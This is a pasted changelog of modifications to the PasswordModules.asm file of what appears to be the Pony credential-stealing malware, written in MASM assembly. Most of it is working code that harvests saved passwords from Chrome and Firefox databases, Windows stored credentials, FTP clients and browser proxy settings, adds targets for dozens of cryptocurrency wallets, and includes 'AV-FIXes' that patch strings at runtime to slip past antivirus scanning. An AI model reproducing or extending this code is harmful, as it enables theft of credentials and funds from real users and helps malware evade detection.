API tools faq
paste
Advertisement
Xylitol

PasswordModules.asm modifications

Xylitol
Jun 27th, 2014
649
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 58.95 KB | None | 0 0
raw download clone embed print report
  1. Line 11 (remove of an useless .code, and definitions added):
  2. ITEMHDR_ID               equ 0beef0000h
  3.  
  4. Line 109 (code addition):
  5. MODULE_BITCOIN            equ 00000061h
  6. MODULE_ELECTRUM            equ 00000062h
  7. MODULE_MULTIBIT            equ 00000063h
  8. MODULE_FTPDISK            equ   00000064h
  9. MODULE_LITECOIN            equ   00000065h
  10. MODULE_NAMECOIN            equ   00000066h
  11. MODULE_TERRACOIN         equ 00000067h
  12. MODULE_BITCOINARMORY      equ 00000068h
  13. MODULE_PPCOIN            equ 00000069h
  14. MODULE_PRIMECOIN         equ 0000006ah
  15. MODULE_FEATHERCOIN         equ 0000006bh
  16. MODULE_NOVACOIN            equ 0000006ch
  17. MODULE_FREICOIN            equ 0000006dh
  18. MODULE_DEVCOIN            equ 0000006eh
  19. MODULE_FRANKOCOIN         equ 0000006fh
  20. MODULE_PROTOSHARES         equ 00000070h
  21. MODULE_MEGACOIN            equ 00000071h
  22. MODULE_QUARKCOIN         equ 00000072h
  23. MODULE_WORLDCOIN         equ 00000073h
  24. MODULE_INFINITECOIN         equ 00000074h
  25. MODULE_IXCOIN            equ 00000075h
  26. MODULE_ANONCOIN            equ 00000076h
  27. MODULE_BBQCOIN            equ 00000077h
  28. MODULE_DIGITALCOIN         equ 00000078h
  29. MODULE_MINCOIN            equ 00000079h
  30. MODULE_GOLDCOIN            equ 0000007ah
  31. MODULE_YACOIN            equ 0000007bh
  32. MODULE_ZETACOIN            equ 0000007ch
  33. MODULE_FASTCOIN            equ 0000007dh
  34. MODULE_I0COIN            equ 0000007eh
  35. MODULE_TAGCOIN            equ 0000007fh
  36. MODULE_BYTECOIN            equ 00000080h
  37. MODULE_FLORINCOIN         equ 00000081h
  38. MODULE_PHOENIXCOIN         equ 00000082h
  39. MODULE_LUCKYCOIN         equ 00000083h
  40. MODULE_CRAFTCOIN         equ 00000084h
  41. MODULE_JUNKCOIN            equ 00000085h
  42.  
  43.  
  44. ; collect proxy settings stored in browsers (HTTP/HTTPS password grabbing must be enabled in builder!)
  45. COLLECT_PROXY_SETTINGS      equ 1
  46.  
  47. Line 198 (just a procedure rename):
  48. invoke   IsDataAlreadyProcessed, map.lpMem, map.dwFileSize
  49.                
  50. Line 235 (just to match the procedure rename):
  51. IsFileAlreadyProcessed proc uses ebx path
  52. Line 248 (just to match the procedure rename):
  53. invoke   IsDataAlreadyProcessed, map.lpMem, map.dwFileSize
  54. Line 261 (just to match the procedure rename):
  55. IsFileAlreadyProcessed endp
  56.  
  57. Line 442:
  58. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  59. ; Windows (WinInet) Proxy Settings (used for IE and Chrome based browsers)
  60. ; SFTP: not supported
  61.  
  62. .data
  63.    CProxySettingsRegPath               db   'Software\Microsoft\Windows\CurrentVersion\Internet Settings',0
  64.    CProxySettingsRegValue               db   'ProxyServer',0
  65.  
  66. .code
  67.  
  68. IFDEF COLLECT_PROXY_SETTINGS
  69.  
  70. GrabProxySettings proc stream, item_id
  71.    LOCAL   len: DWORD
  72.    LOCAL   mem: DWORD
  73.  
  74.    mov   len, 0
  75.    invoke   RegReadValueStr, dwCurrentUserKey, offset CProxySettingsRegPath, offset CProxySettingsRegValue, addr len
  76.    .IF   eax
  77.       mov   mem, eax  
  78.       invoke   CommonAppendDataStr, stream, mem, item_id
  79.       invoke   MemFree, mem      
  80.    .ENDIF
  81.  
  82.    ret
  83. GrabProxySettings endp
  84.  
  85. ENDIF
  86.  
  87. Line 476 (code clean-up):
  88. the .data containing this vanished:
  89.    szHWIDValue      db   "HWID",0
  90.    szGUIDFmt      db   "{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}",0
  91.  
  92.    win64_getnative      db   "GetNativeSystemInfo",0
  93.    win64_kernel      db   "kernel32.dll",0
  94.    win64_process      db   "IsWow64Process",0
  95.  
  96. IsWin64 procedure vanished from the code but is called line 518
  97. IsAdmin procedure vanished from the code but is called line 533
  98. InstallHWIDValue procedure vanished from the code but is called line 537
  99.  
  100. Line 591 (2 comments added):
  101. ; Tested: Far Manager v3.0 build 3367 x86
  102. ; Tested: Far Manager v3.0 build 3525 x86
  103.  
  104. Line 747 (comment added for the Windows/Total Commander proc):
  105. ; Tested: 8.01 64 bit (Release)
  106.  
  107. Line 837 (code added, Windows/Total Commander proc):
  108.    mov byte ptr[CWTCIni], 'w'
  109.    mov   byte ptr[CWTCRegPath1+9], 'G'
  110.    mov   byte ptr[CWTCRegPath2+9], 'G'
  111.  
  112. Line 927 (comment added):
  113. ; Tested: WS_FTP Pro 12.4
  114.  
  115. Line 1123 (added definition for CuteFTP 9):
  116. CCuteFTP_RegPath7   db   "Software\GlobalSCAPE\CuteFTP 9\QCToolbar",0
  117. Line 1286 (added definition for CuteFTP 9):
  118. invoke   CuteFTPProcessQuickConnections, stream, offset CCuteFTP_RegPath7
  119.  
  120. Line 1306 (no idea if it's bugfix or error in my 1.9 package)
  121. anyway this concern just a letter fix for path name in FlashFXP dirs not really a major change (if this is one)
  122.  
  123. Line 1378 (code/comment addition):
  124.   ; AV-FIXes
  125.   mov   byte ptr[CFlashFXP_RegPath1], 'S'
  126.   mov   byte ptr[CFlashFXP_RegPath2], 'S'
  127.   mov   byte ptr[CFlashFXP_RegPath3], 'S'
  128.   mov   byte ptr[CFlashFXP_HistoryName+1], 'H'
  129.  
  130. Line 1812 (code addition):
  131.   mov   byte ptr[CSmartFTPHistMask], 'H'
  132.  
  133. Line 1868 (code addition):
  134.   mov   byte ptr[CTurboFTPDatMask], 'a'
  135.  
  136. Line 3747 (comment addition):
  137. ; Tested: 16.0.1196.73 (Chrome based)
  138.  
  139. Line 3767 (code addition):
  140.   COperaNewAppDataDir   db   '\Opera Software',0
  141.  
  142. Line 4219 (procedure rename, refere to line 198):
  143. invoke   IsFileAlreadyProcessed, lpFileName
  144.  
  145. Line 4408 (code addition):
  146. ChromeCommonScanCustomID proto :DWORD, :DWORD, :DWORD
  147.  
  148. Line 4447 (code addition):
  149. invoke   ChromeCommonScanCustomID, stream, offset COperaNewAppDataDir, ITEMHDR_ID or 2
  150.  
  151. Line 4599 (comment edit):
  152. ; FTP Voyager 11.x-16.x
  153. Line 4601: (comment edit):
  154. ; Tested: Version 16.1.0.0
  155. Line 4610: (code addition):
  156.   CFTPVoyagerProfileFile2   db   'FTPVoyager.ftp.backup',0
  157.   CFTPVoyagerProfileFile3   db   'FTPVoyager.ftp.old.backup',0
  158.  
  159. Line 4623 (code addition):
  160.      push   eax
  161.      push   eax
  162.      invoke   CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile1, ITEMHDR_ID or 0
  163.      pop   eax
  164.      invoke   CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile2, ITEMHDR_ID or 0
  165.      pop   eax
  166.      invoke   CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile3, ITEMHDR_ID or 0
  167.  
  168. Line 4703 (code delete):
  169. szSQLite3Imports vanished
  170.  
  171. Line 4726 (code delete):
  172. szSQLiteMozillaQuery vanished
  173.  
  174. Line 4737: (code added):
  175.   IFDEF   COLLECT_PROXY_SETTINGS
  176.   szMozillaProxy      db   'moz-proxy://',0
  177.   ENDIF
  178.  
  179. Line 4896 (code deletion/addition):
  180. MozillaReadSQLColData whole procedure replaced by: ProcessMozillaSQLiteFile proto :DWORD, :DWORD, :DWORD
  181.  
  182. Line 4898 (code deletion):
  183. Removed into the MozillaReadSQLFile proc the DWORD definitions
  184.  
  185. line 4904 (procedure rename, refere to line 198):
  186. invoke   IsFileAlreadyProcessed, szSQLFile
  187.  
  188. Line 4915 (comment added/code deleted)
  189. ; Process SQLite3 database using tiny db engine
  190. LoadDllImports vanished replaced by:    invoke   ProcessMozillaSQLiteFile, stream, szSQLFile, ITEMHDR_ID or 0
  191.  
  192. Line 4917 (additional code remove about the sqlite3 db)
  193.  
  194. Line 4967 (procedure rename, refere to line 198):
  195.   invoke   IsFileAlreadyProcessed, szSignonsFile
  196.  
  197. Line 5071 (code addition):
  198.   IFDEF   COLLECT_PROXY_SETTINGS
  199.   .IF   eax
  200.      invoke   lstrlen, offset szMozillaProxy
  201.      invoke   StrCmpNI, host_line, offset szMozillaProxy, eax
  202.   .ENDIF
  203.  
  204. Line 5212 (code addition):
  205.   IFDEF COLLECT_PROXY_SETTINGS
  206.      invoke   StrStrI, ininame, offset szMozillaPrefsJS
  207.      .IF   eax
  208.         invoke   PonyStrCat, dir, offset szSlash
  209.         invoke   PonyStrCatFreeArg1, eax, ininame
  210.         push   eax
  211.         invoke   CommonAppendFile, stream, eax, ITEMHDR_ID or 1
  212.         call   MemFree
  213.      .ENDIF
  214.   ENDIF
  215.  
  216. Line 61008 (procedure added):
  217. PSExportAUser proc dwType, lpName, lpUser, pData, pDataLen, stream
  218.   invoke   StreamWriteDWORD, stream, dwType
  219.  
  220.   invoke   lstrlenA, lpName
  221.   inc   eax ; NULL
  222.  
  223.   invoke   StreamWriteBinaryString, stream, lpName, eax
  224.   invoke   StreamWriteBinaryString, stream, pData, pDataLen
  225.  
  226.   invoke   lstrlenA, lpUser
  227.   inc   eax ; NULL
  228.  
  229.   invoke   StreamWriteBinaryString, stream, lpUser, eax
  230.   ret
  231. PSExportAUser endp
  232.  
  233. Line 6418 (code addition):
  234. szIE7CredAll   db   '*',0
  235. Line 6420 (code addition):
  236. szIE7Comment   db   'SspiPfc',0
  237.  
  238. Line 6498 (code addition):
  239.   IFDEF COLLECT_PROXY_SETTINGS
  240.      .IF   MyCredFree && MyCredEnumerate && MyCryptUnprotectData
  241.         mov   pCred, NULL
  242.         mov   Count, 0
  243.         lea   eax, pCred
  244.         push   eax
  245.         lea   eax, Count
  246.         push   eax
  247.         push   0
  248.         push   offset szIE7CredAll
  249.         call   MyCredEnumerate
  250.         .IF   eax && Count && pCred
  251.            mov   esi, pCred
  252.            .WHILE   Count && dword ptr[esi]
  253.               push   esi
  254.               mov   esi, dword ptr[esi]
  255.  
  256.               invoke   lstrcmpi, dword ptr[esi].CREDENTIAL._Comment, offset szIE7Comment
  257.               .IF   !eax
  258.                  m2m   InBlob.cbData, dword ptr[esi].CREDENTIAL.CredentialBlobSize
  259.                  m2m   InBlob.pbData, dword ptr[esi].CREDENTIAL.CredentialBlob
  260.                  
  261.                  .IF   InBlob.cbData
  262.                     invoke   PSExportAUser, ITEMHDR_ID or 6, [esi].CREDENTIAL.TargetName, [esi].CREDENTIAL.UserName, InBlob.pbData, InBlob.cbData, stream
  263.                     invoke   LocalFree, OutBlob.pbData
  264.                  .ENDIF
  265.               .ENDIF
  266.  
  267.               pop   esi
  268.               dec   Count
  269.               add   esi, 4
  270.            .ENDW
  271.            push   pCred
  272.            call   MyCredFree
  273.         .ENDIF
  274.      .ENDIF
  275.   ENDIF
  276.  
  277. Line 6547 (code addition):
  278.   IFDEF COLLECT_PROXY_SETTINGS
  279.      invoke   GrabProxySettings, stream, ITEMHDR_ID or 5
  280.   ENDIF
  281.  
  282. Line 6929 (code addition):
  283. ELSEIFDEF COMPILE_MODULE_OPERA
  284.   COMPILE_CHROMIUM_CODE   equ   1
  285. Line 6934 code addition):
  286.   COMPILE_SQLITE3_CODE   equ   1
  287. ELSEIFDEF COMPILE_MOZILLA_CODE
  288.   COMPILE_SQLITE3_CODE   equ   1
  289. ENDIF
  290.  
  291. IFDEF COMPILE_SQLITE3_CODE
  292.  
  293. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  294.  
  295. Line 6945 (code addition):
  296.   CChromeWebData      db   'Web Data',0
  297.   CChromeLoginData   db   'Login Data',0
  298.  
  299. Line 6953 (code deletion):
  300. deleted some datas related to chrome (szChromeLoginTable, szChromeActionURL, szChromePassValue, [...] szChromeHTTPS  
  301.  
  302. Line 6956 (code deletion):
  303. dwChromeActionURL, dwChromePassValue, dwChromeUserValue
  304.  
  305. Line 7163 (line replace):
  306. mov   eax, TRUE -> invoke   SQLiteBuildDataRecord, NULL, 0, SQLITE_DATATYPE_OTHER, lpDataOut
  307.  
  308. Line 7229 (comment edition):
  309. ; Get data length & pointer for a single cell from 1-dim record array
  310.  
  311. Line 7378 (code edition):
  312. added 'item_id' into the SQLiteReadPage proc
  313. Line 7488 (code edition):
  314. Same edition as line 7378.
  315.  
  316. Line 7578 (code addition):
  317. push   item_id
  318.  
  319. Line 7596 (code deletion):
  320. Process SQL column definitions
  321.  
  322. Line 7598 (code edition):
  323. added callback_func to SQLiteProcessSQL procedure
  324.  
  325. Line 7608 (instruction added):
  326. cld
  327.  
  328. Line 7665 (comment edition):
  329. ; Replace double space chars to single space chars ('  ' -> ' ')
  330.  
  331. Line 7681 (comment edition):
  332. ; Process column definitions one by one
  333.  
  334. Line 7688 (code edition):
  335. replaced invoke SQLiteProcessCol by:
  336.         push   nCol
  337.         push   esi
  338.         call   callback_func
  339.        
  340. Line 7700 (code edition):
  341. same edition as line 7688.
  342.  
  343. Line 7707 (code addition):
  344. ProcessSQLiteStream proc stream, target_stream, item_id, callback_func
  345.   LOCAL   header[16]: BYTE
  346.   LOCAL   dwStatusCode: DWORD
  347.  
  348.   ; Read database header
  349.  
  350.   invoke   StreamGotoBegin, stream
  351.   invoke   StreamRead, stream, addr header, sizeof header
  352.   .iF   !eax
  353.      ret
  354.   .ENDIF
  355.  
  356.   invoke   CompareMem, addr header, offset szSQLite3Header, sizeof header
  357.   .IF   !eax
  358.      ret
  359.   .ENDIF
  360.  
  361.   mov   dwStatusCode, TRUE
  362.   invoke   Stream_SafeReadWORD, stream, addr dwStatusCode
  363.   .IF   !eax || !dwStatusCode
  364.      sub   eax, eax
  365.      ret
  366.   .ENDIF
  367.  
  368.   ; Validate page size
  369.   push   eax
  370.   sub   ecx, ecx
  371.   .WHILE   eax
  372.      shr   eax, 1
  373.      .IF   CARRY?
  374.         inc   ecx
  375.      .ENDIF
  376.   .ENDW
  377.   pop   eax
  378.  
  379.   .IF   eax == 1
  380.      mov   eax, 65536
  381.   .ENDIF
  382.  
  383.   ; Page size must be power of 2
  384.   .IF   ecx != 1
  385.      sub   eax, eax
  386.      ret
  387.   .ENDIF
  388.   mov   dwSQLitePageSize, eax
  389.  
  390.   ; File format write version
  391.   invoke   Stream_SafeReadByte, stream, addr dwStatusCode
  392.   .IF   ((eax != 1) && (eax != 2)) || ! dwStatusCode
  393.      sub   eax, eax
  394.      ret
  395.   .ENDIF
  396.  
  397.   ; File format read version
  398.   invoke   Stream_SafeReadByte, stream, addr dwStatusCode
  399.   .IF   ((eax != 1) && (eax != 2)) || ! dwStatusCode
  400.      sub   eax, eax
  401.      ret
  402.   .ENDIF
  403.  
  404.   ; Reserved bytes
  405.   invoke   Stream_SafeReadByte, stream, addr dwStatusCode
  406.   .IF   eax != 0 || ! dwStatusCode
  407.      sub   eax, eax
  408.      ret
  409.   .ENDIF
  410.  
  411.   ; Maximum embedded payload fraction
  412.   invoke   Stream_SafeReadByte, stream, addr dwStatusCode
  413.   .IF   eax != 64 || ! dwStatusCode
  414.      sub   eax, eax
  415.      ret
  416.   .ENDIF
  417.  
  418.   ; Minimum embedded payload fraction
  419.   invoke   Stream_SafeReadByte, stream, addr dwStatusCode
  420.   .IF   eax != 32 || ! dwStatusCode
  421.      sub   eax, eax
  422.      ret
  423.   .ENDIF
  424.  
  425.   ; Leaf payload fraction
  426.   invoke   Stream_SafeReadByte, stream, addr dwStatusCode
  427.   .IF   eax != 32 || ! dwStatusCode
  428.      sub   eax, eax
  429.      ret
  430.   .ENDIF
  431.   invoke   Stream_SafeReadSkip, stream, 4*8, addr dwStatusCode
  432.  
  433.   ; Database text encoding
  434.   invoke   Stream_SafeReadDWORD, stream, addr dwStatusCode
  435.   .IF   (eax < 1) || (eax > 3) || (!dwStatusCode)
  436.      sub   eax, eax
  437.      ret
  438.   .ENDIF
  439.  
  440.   mov   dwSQLiteEncoding, eax
  441.  
  442.   invoke   Stream_SafeReadSkip, stream, 40, addr dwStatusCode
  443.  
  444.   ; Start database processing from page 1
  445.   invoke   SQLiteReadPage, stream, target_stream, 1, addr dwStatusCode, item_id, callback_func
  446.  
  447.   ret
  448. ProcessSQLiteStream endp
  449.  
  450. ENDIF
  451.  
  452. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  453. ; Common chromium decryption
  454.  
  455. IFDEF COMPILE_CHROMIUM_CODE
  456.  
  457. .data
  458.   CChromeWebData      db   'Web Data',0
  459.   CChromeLoginData   db   'Login Data',0
  460.   szChromeLoginTable    db   'logins',0
  461.   szChromeActionURL   db   'origin_url',0
  462.   szChromePassValue   db   'password_value',0
  463.   szChromeUserValue   db   'username_value',0
  464.   szChromeFTP         db   'ftp://',0
  465.   IFDEF   GRAB_HTTP
  466.   szChromeHTTP      db   'http://',0
  467.   szChromeHTTPS      db   'https://',0
  468.   ENDIF
  469.  
  470. .data?
  471.   dwChromeActionURLIndex   dd   ?
  472.   dwChromePassValueIndex   dd   ?
  473.   dwChromeUserValueIndex   dd   ?
  474. .code
  475.  
  476. ; Process SQL column definition
  477. SQLiteProcessChromeColDef proc uses edi column_definition, column_index
  478.   invoke   Trim, column_definition
  479.   invoke   StrStrI, column_definition, offset szSQLiteSpaceChar
  480.   .IF   !eax
  481.      ret
  482.   .ENDIF
  483.   mov   byte ptr[eax], 0
  484.   invoke   Trim, column_definition
  485.  
  486.   mov   edi, offset szSQLiteStopWords
  487. @@:
  488.   invoke   lstrcmpi, edi, column_definition
  489.   .IF   !eax
  490.      ret
  491.   .ENDIF
  492.   @Next   @B
  493.  
  494.   invoke   lstrlen, column_definition
  495.   .IF   !eax
  496.      ret
  497.   .ENDIF
  498.  
  499.   invoke   lstrcmpi, column_definition, offset szChromeActionURL
  500.   .IF   !eax
  501.      m2m   dwChromeActionURLIndex, column_index
  502.   .ENDIF
  503.  
  504.   invoke   lstrcmpi, column_definition, offset szChromePassValue
  505.   .IF   !eax
  506.      m2m   dwChromePassValueIndex, column_index
  507.   .ENDIF
  508.  
  509.   invoke   lstrcmpi, column_definition, offset szChromeUserValue
  510.   .IF   !eax
  511.      m2m   dwChromeUserValueIndex, column_index
  512.   .ENDIF
  513.  
  514.   mov   eax, TRUE
  515.   ret
  516. SQLiteProcessChromeColDef endp
  517. ; Process chrome password data row
  518. SQLiteProcessChromeDataTable proc uses esi edi stream, target_stream, row_array, cell_count, item_id
  519.  
  520. Line: 7904 (line edition):
  521. dwChromeActionURL -> dwChromeActionURLIndex
  522. dwChromePassValue -> dwChromePassValueIndex
  523. dwChromeUserValue -> dwChromeUserValueIndex
  524.  
  525. Line 7906 (line edition):
  526. dwChromeActionURL -> dwChromeActionURLIndex
  527. Line 7907 (line edition):
  528. dwChromePassValue -> dwChromePassValueIndex
  529. Line 7908 (line edition):
  530. dwChromeUserValue -> dwChromeUserValueIndex
  531.  
  532. Line 7960 (line edition):
  533. ITEMHDR_ID or 0 -> item_id
  534.  
  535. Line 7974 (line edition):
  536. SQLiteProcessDataTable endp -> SQLiteProcessChromeDataTable endp
  537.  
  538. Line 7985 (line edition):
  539. SQLiteProcessSchemaTable -> SQLiteProcessChromeSchemaTable
  540.  
  541. Line 8011 code edition):
  542. mov   dwChromeActionURL, -1 -> mov dwChromeActionURLIndex, -1
  543. Line 8012 code edition):
  544. mov   dwChromePassValue, -1 -> mov dwChromePassValueIndex, -1
  545. Line 8013 code edition):
  546. mov   dwChromeUserValue, -1 -> mov dwChromeUserValueIndex, -1
  547.  
  548. Line 8015 (line edition):
  549. invoke   SQLiteProcessSQL, cell_data, offset SQLiteProcessChromeColDef
  550.  
  551. Line 8018 (code edition):
  552. .IF   (dwChromeActionURLIndex != -1) && (dwChromePassValueIndex != -1) && (dwChromeUserValueIndex != -1)
  553. Line 8019 (code edition):
  554. invoke   SQLiteReadPage, stream, target_stream, root_page, addr dwStatusCode, item_id, offset SQLiteProcessChromeDataTable
  555.  
  556. Line 8029 (procedure rename):
  557. SQLiteProcessChromeSchemaTable endp
  558.  
  559. Line 8031 (procedure modification):
  560. ProcessChromeSQLiteFile proc target_stream, szSQLFileName, item_id
  561.   LOCAL   stream: DWORD
  562.  
  563.   invoke   StreamCreate, addr stream
  564.   invoke   StreamLoadFromFile, szSQLFileName, stream
  565.   .IF   eax
  566.      invoke   ProcessSQLiteStream, stream, target_stream, item_id, offset SQLiteProcessChromeSchemaTable
  567.      .IF   !eax
  568.         ; Error occured while processing ".sqlite" file
  569.         ; Send ".sqlite" file for debugging
  570.         ;invoke   CommonAppendFileForceDupe, target_stream, lpFileName, ITEMHDR_ID or 1000h
  571.      .ENDIF
  572.  
  573. Line 8029 (just a renamed of the end of the proc.):
  574. SQLiteProcessChromeSchemaTable endp
  575.  
  576. Line 8031 (rewrote of the proc):
  577. ProcessChromeSQLiteFile proc target_stream, szSQLFileName, item_id
  578.   LOCAL   stream: DWORD
  579.  
  580.   invoke   StreamCreate, addr stream
  581.   invoke   StreamLoadFromFile, szSQLFileName, stream
  582.   .IF   eax
  583.      invoke   ProcessSQLiteStream, stream, target_stream, item_id, offset SQLiteProcessChromeSchemaTable
  584.      .IF   !eax
  585.         ; Error occured while processing ".sqlite" file
  586.         ; Send ".sqlite" file for debugging
  587.         ;invoke   CommonAppendFileForceDupe, target_stream, lpFileName, ITEMHDR_ID or 1000h
  588.      .ENDIF
  589.  
  590. Line 8044 (code addition):
  591. invoke   StreamFree, stream
  592.  
  593. Line 8046 (proc code addition):
  594.   ret
  595. ProcessChromeSQLiteFile endp
  596.  
  597. ChromeAppDataCommonSingleFileScan proc stream, csidl, appdata_dir, config_file, item_id
  598.   invoke   SHGetFolderPathStr, csidl
  599.   .IF   eax
  600.      invoke   PonyStrCatFreeArg1, eax, appdata_dir
  601.      push   eax
  602.      invoke   CommonFileScanCallback, stream, eax, config_file, item_id, offset ProcessChromeSQLiteFile
  603.      call   MemFree
  604.  
  605. Line 8057 (code addition):
  606.   ret
  607. ChromeAppDataCommonSingleFileScan endp
  608.  
  609. Line 8060 (proc code addition):
  610. ChromeCommonScanCustomID proc stream, base_appdata_dir, id
  611.   invoke   ChromeAppDataCommonSingleFileScan, stream, CSIDL_APPDATA, base_appdata_dir, offset CChromeWebData, id
  612.   invoke   ChromeAppDataCommonSingleFileScan, stream, CSIDL_APPDATA, base_appdata_dir, offset CChromeLoginData, id
  613.   invoke   ChromeAppDataCommonSingleFileScan, stream, CSIDL_LOCAL_APPDATA, base_appdata_dir, offset CChromeWebData, id
  614.   invoke   ChromeAppDataCommonSingleFileScan, stream, CSIDL_LOCAL_APPDATA, base_appdata_dir, offset CChromeLoginData, id
  615.   invoke   ChromeAppDataCommonSingleFileScan, stream, CSIDL_COMMON_APPDATA, base_appdata_dir, offset CChromeWebData, id
  616.   invoke   ChromeAppDataCommonSingleFileScan, stream, CSIDL_COMMON_APPDATA, base_appdata_dir, offset CChromeLoginData, id
  617.   ret
  618. ChromeCommonScanCustomID endp
  619.  
  620. ChromeCommonScan proc stream, base_appdata_dir
  621.   invoke   ChromeCommonScanCustomID, stream, base_appdata_dir, ITEMHDR_ID or 0
  622.   ret
  623. ChromeCommonScan endp
  624.  
  625. ENDIF
  626.  
  627. IFDEF COMPILE_MOZILLA_CODE
  628.  
  629. ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  630. ; Common Mozilla SQLite3 database decryption
  631.  
  632. .data
  633.   szMozillaLoginTable db   'moz_logins',0
  634.   szMozillaActionURL   db   'hostname',0
  635.   szMozillaPassValue   db   'encryptedPassword',0
  636.   szMozillaUserValue   db   'encryptedUsername',0
  637.  
  638. .data?
  639.   dwMozillaActionURLIndex   dd   ?
  640.   dwMozillaPassValueIndex   dd   ?
  641.   dwMozillaUserValueIndex   dd   ?
  642.  
  643. .code
  644.  
  645. ; Process SQL column definition
  646. SQLiteProcessMozillaColDef proc uses edi column_definition, column_index
  647.   invoke   Trim, column_definition
  648.   invoke   StrStrI, column_definition, offset szSQLiteSpaceChar
  649.   .IF   !eax
  650.  
  651. Line 8102 (code addition):
  652.   mov   byte ptr[eax], 0
  653.   invoke   Trim, column_definition
  654.  
  655. Line 8105 (code addition/deletion):
  656.   mov   edi, offset szSQLiteStopWords
  657. @@:
  658.   invoke   lstrcmpi, edi, column_definition
  659.   .IF   !eax
  660.  
  661. line 8113 (code addition/deletion):
  662. invoke   lstrlen, column_definition
  663.   .IF   !eax
  664.  
  665. Line 8118 (code addition/remove):
  666.   invoke   lstrcmpi, column_definition, offset szMozillaActionURL
  667.   .IF   !eax
  668.      m2m   dwMozillaActionURLIndex, column_index
  669.      
  670. Line 8123 (code addition/remove):
  671.   invoke   lstrcmpi, column_definition, offset szMozillaPassValue
  672.   .IF   !eax
  673.      m2m   dwMozillaPassValueIndex, column_index
  674.  
  675. Line 8128 (code addition/deletion):
  676.   invoke   lstrcmpi, column_definition, offset szMozillaUserValue
  677.   .IF   !eax
  678.      m2m   dwMozillaUserValueIndex, column_index
  679.  
  680. Line 8133 (code addition/deletion):
  681.   mov   eax, TRUE
  682.   ret
  683. SQLiteProcessMozillaColDef endp
  684.  
  685. ; Process password data row
  686. SQLiteProcessMozillaDataTable proc stream, target_stream, row_array, cell_count, item_id
  687.   LOCAL   url_cell_len: DWORD
  688.   LOCAL   url_cell_type: DWORD
  689.   LOCAL   url_cell_data: DWORD
  690.   LOCAL   user_cell_len: DWORD
  691.   LOCAL   user_cell_type: DWORD
  692.   LOCAL   user_cell_data: DWORD
  693.   LOCAL   pass_cell_len: DWORD
  694.   LOCAL   pass_cell_type: DWORD
  695.   LOCAL   pass_cell_data: DWORD
  696.   LOCAL   host: DWORD
  697.   LOCAL   user: DWORD
  698.   LOCAL   pass: DWORD
  699.  
  700.   .IF   !cell_count
  701.  
  702. Line 8155 (code addition/deletion):
  703.   mov   eax, cell_count
  704.   .IF   (dwMozillaActionURLIndex < eax) && (dwMozillaPassValueIndex < eax) && (dwMozillaUserValueIndex < eax)
  705.      ; Get cell values
  706.      invoke   SQLiteGetRecordArrayCell, row_array, dwMozillaActionURLIndex, addr url_cell_len, addr url_cell_type, addr url_cell_data
  707.      invoke   SQLiteGetRecordArrayCell, row_array, dwMozillaUserValueIndex, addr user_cell_len, addr user_cell_type, addr user_cell_data
  708.      invoke   SQLiteGetRecordArrayCell, row_array, dwMozillaPassValueIndex, addr pass_cell_len, addr pass_cell_type, addr pass_cell_data
  709.  
  710.      .IF   url_cell_len && pass_cell_len
  711.         mov   edx, url_cell_len
  712.         inc   edx
  713.         invoke   MemAlloc, edx
  714.         mov   host, eax
  715.         invoke   MoveMem, url_cell_data, host, url_cell_len
  716.      
  717.         mov   user, NULL
  718.         mov   pass, NULL
  719.        
  720.         .IF   mozilla_mode == MOZILLA_MODE_FTP_HTTP
  721.            invoke   lstrlen, offset szMozillaFTP
  722.            invoke   StrCmpNI, host, offset szMozillaFTP, eax
  723.            IFDEF   GRAB_HTTP
  724.            .IF   eax
  725.               invoke   lstrlen, offset szMozillaHTTP
  726.               invoke   StrCmpNI, host, offset szMozillaHTTP, eax
  727.            .ENDIF
  728.            .IF   eax
  729.               invoke   lstrlen, offset szMozillaHTTPS
  730.               invoke   StrCmpNI, host, offset szMozillaHTTPS, eax
  731.            .ENDIF
  732.            IFDEF   COLLECT_PROXY_SETTINGS
  733.            .IF   eax
  734.               invoke   lstrlen, offset szMozillaProxy
  735.               invoke   StrCmpNI, host, offset szMozillaProxy, eax
  736.            .ENDIF
  737.            ENDIF
  738.            ENDIF
  739.         .ELSEIF mozilla_mode == MOZILLA_MODE_FIREFTP
  740.            invoke   lstrlen, offset szMozillaFireFTP
  741.            invoke   StrCmpNI, host, offset szMozillaFireFTP, eax
  742.         .ELSEIF mozilla_mode == MOZILLA_MODE_EMAIL
  743.            sub   eax, eax ; allow all hosts
  744.         .ENDIF
  745.        
  746.         .IF   !eax
  747.            ; user (can be empty for some record types)
  748.            .IF   user_cell_len
  749.               invoke   MozillaNSSDecryptPassword, user_cell_data, user_cell_len
  750.               mov   user, eax
  751.            .ENDIF
  752.            
  753.            ; pass
  754.            invoke   MozillaNSSDecryptPassword, pass_cell_data, pass_cell_len
  755.            mov   pass, eax
  756.            
  757.            .IF   host && pass
  758.               ; export recovered data
  759.               invoke   StreamWriteDWORD, target_stream, item_id
  760.               invoke   StreamWriteString, target_stream, host
  761.               invoke   StreamWriteString, target_stream, user
  762.               invoke   StreamWriteString, target_stream, pass
  763.            .ENDIF
  764.         .ENDIF
  765.        
  766.         invoke   MemFree, user
  767.         invoke   MemFree, pass
  768.         invoke   MemFree, host
  769.      .ENDIF
  770.  
  771. Line 8225 (code addition/deletion):
  772.   ret
  773. SQLiteProcessMozillaDataTable endp
  774.  
  775. SQLiteProcessMozillaSchemaTable proc stream, target_stream, row_array, cell_count, item_id
